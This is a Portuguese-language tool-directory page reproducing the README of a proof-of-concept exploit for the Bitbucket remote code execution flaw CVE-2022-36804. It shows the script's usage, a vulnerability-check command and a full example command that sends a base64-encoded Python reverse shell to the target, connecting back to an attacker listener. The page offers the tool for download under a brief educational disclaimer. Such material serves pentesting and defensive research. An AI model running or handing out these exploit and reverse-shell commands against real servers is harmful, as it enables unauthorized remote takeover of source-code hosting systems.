Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-36804 — Um exploit real para BitBucket RCE CVE-2022-36804 | Kitploit
Ferramentas/GitHubGitHub/notdls/cve-2022-36804
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubnotdls/cve-2022-36804

CVE-2022-36804

Um exploit real para BitBucket RCE CVE-2022-36804

Ver Repositório
357há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-36804 PoC

Este repositório contém um exploit simples de prova de conceito para a recente vulnerabilidade de execução remota de código no BitBucket (CVE-2022-36804). A exploração desta vulnerabilidade requer acesso a um repositório na instância alvo; se você não tiver credenciais, o alvo precisará ter repositórios públicos.

Uso

root@kitploit:~
usage: exploit.py [-h] -p PROJECT -r REPO -u URL [-c COMMAND] [--proxy PROXY] [--session SESSION]
                  [--check]

Exploits the CVE-2022-36804 RCE in vulnerable BitBucket instances (< v8.3.1)

optional arguments:
  -h, --help            show this help message and exit
  -p PROJECT, --project PROJECT
                        The name of the project the public repository resides in (E.g.
                        testproject)
  -r REPO, --repo REPO  The name of the public repository (E.g. testrepo)
  -u URL, --url URL     The URL of the BitBucket server (E.g. http://localhost:7990/)
  -c COMMAND, --command COMMAND
                        The command to execute on the server (E.g. 'curl http://canary.domain/')
  --proxy PROXY         HTTP proxy to use for debugging (E.g. http://localhost:8080/)
  --session SESSION     The value of your 'BITBUCKETSESSIONID' cookie, required if your target
                        repo is private. (E.g. 3DD8B1EBA3763AD2611F4940BD870865)
  --check               Only perform a check to see if the instance is vulnerable

Exemplos

Verificando se uma instância está vulnerável

Para verificar se uma instância está vulnerável, execute o seguinte comando

root@kitploit:~
python3 exploit.py -p PROJECT -r REPO -u http://target.site/ --check

Estabelecendo uma shell reversa

O comando abaixo pode ser usado para estabelecer uma shell reversa na vítima (o payload base64 precisará ser atualizado com os detalhes do seu listener)

root@kitploit:~
python3 exploit.py -p PROJECT -r REPO -u http://localhost:7990/ -c "echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC42Ny4zIiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7cHR5LnNwYXduKCIvYmluL3NoIikn' | base64 -d  | bash |"

Créditos

  • TheGrandPew - Identificação e reporte da vulnerabilidade

Aviso legal

Este exploit é para fins educacionais/de pesquisa. Não sou responsável pelo uso que as pessoas fizerem dele. Seja legal :)

Baixar ferramenta